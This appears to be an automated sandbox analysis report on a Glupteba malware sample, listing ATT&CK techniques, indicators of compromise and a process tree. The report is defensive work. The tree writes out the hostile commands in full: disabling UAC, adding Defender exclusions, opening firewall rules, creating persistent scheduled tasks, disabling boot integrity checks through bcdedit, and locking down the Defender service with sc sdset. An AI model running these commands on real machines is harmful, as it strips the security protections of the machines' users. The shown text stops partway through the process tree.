glupteba | 02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Random.exe

Windows security bypass 2 TTPs 2 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	Random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Random.exe = "0"	Random.exe

Modifies boot configuration data using bcdedit 14 IoCs

pid	Process
2004	bcdedit.exe
2368	bcdedit.exe
2016	bcdedit.exe
872	bcdedit.exe
1968	bcdedit.exe
2092	bcdedit.exe
2648	bcdedit.exe
2828	bcdedit.exe
1160	bcdedit.exe
2552	bcdedit.exe
1156	bcdedit.exe
1720	bcdedit.exe
1956	bcdedit.exe
2292	bcdedit.exe

Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 3 IoCs

evasion

Windows Service

T1543.003

pid	Process
1900	netsh.exe
1556	netsh.exe
1832	netsh.exe

Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command and Scripting Interpreter
T1059
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Drops startup file 7 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\0n9vpHs8sMTKyMEeQF33rZaV.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\GI5cviXHxb2gFZHeRdsivVNt.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yES3fHWYER6XL9CsfaFIfscu.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1yYSeMAHqHJhKzTxb5iFbKVc.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VjheWoJvIspjDzBXKphziJhB.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UsDY0yK0VejiXyv77uI2xg0h.bat	CasPol.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Y4hvCW28hRT40IxuemJnZtB1.bat	CasPol.exe

Executes dropped EXE 15 IoCs

pid	Process
2700	InstallSetup5.exe
2704	toolspub2.exe
2820	d21cbe21e38b385a41a68c5e6dd32f4c.exe
2688	Random.exe
2608	Broom.exe
2508	latestX.exe
2384	mhp5YEkgKY5LYpUyvJSt0vML.exe
532	toolspub2.exe
2260	wOlrWhRf1LbCJCVOUBddoyqT.exe
2964	hpRkHf7oovuwj5wfooD4Ji7E.exe
1760	Bld5H61zueAVc1Pxze24icEm.exe
1524	jyW3RiycdQL9VYpoP10GWKuF.exe
2112	jyW3RiycdQL9VYpoP10GWKuF.tmp
2548	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1656	GreenTV.exe

Loads dropped DLL 25 IoCs

pid	Process
2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe
2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe
2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe
2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe
2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe
2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe
2700	InstallSetup5.exe
2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe
2704	toolspub2.exe
1496	CasPol.exe
1496	CasPol.exe
1496	CasPol.exe
1496	CasPol.exe
1496	CasPol.exe
1496	CasPol.exe
1496	CasPol.exe
1496	CasPol.exe
1760	Bld5H61zueAVc1Pxze24icEm.exe
1760	Bld5H61zueAVc1Pxze24icEm.exe
1524	jyW3RiycdQL9VYpoP10GWKuF.exe
2112	jyW3RiycdQL9VYpoP10GWKuF.tmp
2112	jyW3RiycdQL9VYpoP10GWKuF.tmp
2112	jyW3RiycdQL9VYpoP10GWKuF.tmp
2112	jyW3RiycdQL9VYpoP10GWKuF.tmp
2112	jyW3RiycdQL9VYpoP10GWKuF.tmp

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0006000000015db6-168.dat	upx
behavioral1/files/0x0006000000015db6-173.dat	upx
behavioral1/files/0x0006000000015db6-174.dat	upx
behavioral1/memory/1760-187-0x0000000000AF0000-0x0000000001018000-memory.dmp	upx
behavioral1/memory/1760-295-0x0000000000AF0000-0x0000000001018000-memory.dmp	upx
behavioral1/files/0x0006000000015db6-307.dat	upx
behavioral1/files/0x00050000000193c9-722.dat	upx

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	88.80.147.105
Destination IP	185.237.206.223

Windows security modification 2 TTPs 3 IoCs

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	Random.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions	Random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Random.exe = "0"	Random.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 2 IoCs

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Random.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Random.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2688 set thread context of 1496	2688	Random.exe	37
PID 2704 set thread context of 532	2704	toolspub2.exe	34

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Common Files\GreenTV\is-DHK9B.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-GTOHT.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-26TD3.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-IFT5R.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\UIText\is-S90U9.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-QTPGP.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-CMTK6.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-3218J.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-EJ45V.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-93JLC.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-7EGPJ.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-NSR13.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File opened for modification	C:\Program Files (x86)\Common Files\GreenTV\GreenTV.exe	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\unins000.dat	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-2HVGC.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-F7ED0.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\UIText\is-6GLRP.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp
File opened for modification	C:\Program Files (x86)\Common Files\GreenTV\unins000.dat	jyW3RiycdQL9VYpoP10GWKuF.tmp
File created	C:\Program Files (x86)\Common Files\GreenTV\is-0TK7U.tmp	jyW3RiycdQL9VYpoP10GWKuF.tmp

Launches sc.exe 11 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2568	sc.exe
956	sc.exe
2592	sc.exe
872	sc.exe
2040	sc.exe
2404	sc.exe
2480	sc.exe
2876	sc.exe
2796	sc.exe
1700	sc.exe
2980	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	toolspub2.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
800	schtasks.exe
1672	schtasks.exe
1160	schtasks.exe
2744	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2424	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1096	powershell.exe
532	toolspub2.exe
532	toolspub2.exe
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
2820	d21cbe21e38b385a41a68c5e6dd32f4c.exe
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
1260	Explorer.EXE
2508	cmd.exe
2508	cmd.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
532	toolspub2.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	CasPol.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeShutdownPrivilege	1260	Explorer.EXE
Token: SeDebugPrivilege	2820	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Token: SeImpersonatePrivilege	2820	d21cbe21e38b385a41a68c5e6dd32f4c.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2608	Broom.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 2700	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	28
PID 2696 wrote to memory of 2700	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	28
PID 2696 wrote to memory of 2700	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	28
PID 2696 wrote to memory of 2700	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	28
PID 2696 wrote to memory of 2700	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	28
PID 2696 wrote to memory of 2700	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	28
PID 2696 wrote to memory of 2700	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	28
PID 2696 wrote to memory of 2704	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	29
PID 2696 wrote to memory of 2704	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	29
PID 2696 wrote to memory of 2704	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	29
PID 2696 wrote to memory of 2704	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	29
PID 2696 wrote to memory of 2820	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	30
PID 2696 wrote to memory of 2820	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	30
PID 2696 wrote to memory of 2820	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	30
PID 2696 wrote to memory of 2820	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	30
PID 2696 wrote to memory of 2688	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	31
PID 2696 wrote to memory of 2688	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	31
PID 2696 wrote to memory of 2688	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	31
PID 2696 wrote to memory of 2688	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	31
PID 2700 wrote to memory of 2608	2700	InstallSetup5.exe	32
PID 2700 wrote to memory of 2608	2700	InstallSetup5.exe	32
PID 2700 wrote to memory of 2608	2700	InstallSetup5.exe	32
PID 2700 wrote to memory of 2608	2700	InstallSetup5.exe	32
PID 2696 wrote to memory of 2508	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	33
PID 2696 wrote to memory of 2508	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	33
PID 2696 wrote to memory of 2508	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	33
PID 2696 wrote to memory of 2508	2696	02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe	33
PID 2704 wrote to memory of 532	2704	toolspub2.exe	34
PID 2704 wrote to memory of 532	2704	toolspub2.exe	34
PID 2704 wrote to memory of 532	2704	toolspub2.exe	34
PID 2704 wrote to memory of 532	2704	toolspub2.exe	34
PID 2704 wrote to memory of 532	2704	toolspub2.exe	34
PID 2704 wrote to memory of 532	2704	toolspub2.exe	34
PID 2688 wrote to memory of 1096	2688	Random.exe	35
PID 2688 wrote to memory of 1096	2688	Random.exe	35
PID 2688 wrote to memory of 1096	2688	Random.exe	35
PID 2688 wrote to memory of 1096	2688	Random.exe	35
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 2688 wrote to memory of 1496	2688	Random.exe	37
PID 1496 wrote to memory of 2384	1496	CasPol.exe	38
PID 1496 wrote to memory of 2384	1496	CasPol.exe	38
PID 1496 wrote to memory of 2384	1496	CasPol.exe	38
PID 1496 wrote to memory of 2384	1496	CasPol.exe	38
PID 2704 wrote to memory of 532	2704	toolspub2.exe	34
PID 1496 wrote to memory of 2260	1496	CasPol.exe	40
PID 1496 wrote to memory of 2260	1496	CasPol.exe	40
PID 1496 wrote to memory of 2260	1496	CasPol.exe	40
PID 1496 wrote to memory of 2260	1496	CasPol.exe	40
PID 1496 wrote to memory of 2964	1496	CasPol.exe	41
PID 1496 wrote to memory of 2964	1496	CasPol.exe	41
PID 1496 wrote to memory of 2964	1496	CasPol.exe	41
PID 1496 wrote to memory of 2964	1496	CasPol.exe	41
PID 1496 wrote to memory of 1760	1496	CasPol.exe	43
PID 1496 wrote to memory of 1760	1496	CasPol.exe	43
PID 1496 wrote to memory of 1760	1496	CasPol.exe	43
PID 1496 wrote to memory of 1760	1496	CasPol.exe	43
PID 1496 wrote to memory of 1760	1496	CasPol.exe	43

System policy modification 1 TTPs 1 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Random.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1260
- C:\Users\Admin\AppData\Local\Temp\02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe
  "C:\Users\Admin\AppData\Local\Temp\02c6afc6297dce33b1a7b9db1be1002387d0744222471657c224b763b06e03c0.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe
    "C:\Users\Admin\AppData\Local\Temp\InstallSetup5.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2700
  - - C:\Users\Admin\AppData\Local\Temp\Broom.exe
      C:\Users\Admin\AppData\Local\Temp\Broom.exe
      4⤵
      Executes dropped EXE
      Suspicious use of SetWindowsHookEx
      PID:2608
- - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
    "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:2704
  - - C:\Users\Admin\AppData\Local\Temp\toolspub2.exe
      "C:\Users\Admin\AppData\Local\Temp\toolspub2.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:532
- - C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe
    "C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2820
  - - C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe
      "C:\Users\Admin\AppData\Local\Temp\d21cbe21e38b385a41a68c5e6dd32f4c.exe"
      4⤵
      Executes dropped EXE
      PID:2548
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:1664
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:1900
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        
        PID:1580
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:2744
      - C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:3012
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        
        PID:2740
      - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        
        "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
        6⤵
        
        PID:2296
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2004
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2368
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2016
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:872
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1968
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2092
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2648
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2828
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1160
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2552
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1156
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -timeout 0
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1720
        
        C:\Windows\system32\bcdedit.exe
        
        C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:1956
      - C:\Windows\system32\bcdedit.exe
        
        C:\Windows\Sysnative\bcdedit.exe /v
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:2292
      - C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
        6⤵
        
        PID:2684
      - C:\Windows\system32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:800
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        
        PID:960
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:2760
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:2404
      - C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\f801950a962ddba14caaa44bf084b55c.exe
        6⤵
        
        PID:2008
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "csrss" /f
        7⤵
        
        PID:2880
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /delete /tn "ScheduledUpdate" /f
        7⤵
        
        PID:1992
- - C:\Users\Admin\AppData\Local\Temp\Random.exe
    "C:\Users\Admin\AppData\Local\Temp\Random.exe"
    3⤵
    - UAC bypass
    - Windows security bypass
    - Executes dropped EXE
    - Windows security modification
    - Checks whether UAC is enabled
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    - System policy modification
    PID:2688
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Random.exe" -Force
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1096
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      4⤵
      Drops startup file
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1496
    - - C:\Users\Admin\Pictures\mhp5YEkgKY5LYpUyvJSt0vML.exe
        
        "C:\Users\Admin\Pictures\mhp5YEkgKY5LYpUyvJSt0vML.exe"
        5⤵
        Executes dropped EXE
        
        PID:2384
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\JEGDGIIJJE.exe"
        6⤵
        
        PID:2652
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\mhp5YEkgKY5LYpUyvJSt0vML.exe" & del "C:\ProgramData\*.dll"" & exit
        6⤵
        
        PID:2732
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 5
        7⤵
        Delays execution with timeout.exe
        
        PID:2424
    - - C:\Users\Admin\Pictures\wOlrWhRf1LbCJCVOUBddoyqT.exe
        
        "C:\Users\Admin\Pictures\wOlrWhRf1LbCJCVOUBddoyqT.exe"
        5⤵
        Executes dropped EXE
        
        PID:2260
      - C:\Users\Admin\Pictures\wOlrWhRf1LbCJCVOUBddoyqT.exe
        
        "C:\Users\Admin\Pictures\wOlrWhRf1LbCJCVOUBddoyqT.exe"
        6⤵
        
        PID:2536
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        
        PID:944
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        
        PID:1832
    - - C:\Users\Admin\Pictures\hpRkHf7oovuwj5wfooD4Ji7E.exe
        
        "C:\Users\Admin\Pictures\hpRkHf7oovuwj5wfooD4Ji7E.exe"
        5⤵
        Executes dropped EXE
        
        PID:2964
      - C:\Users\Admin\Pictures\hpRkHf7oovuwj5wfooD4Ji7E.exe
        
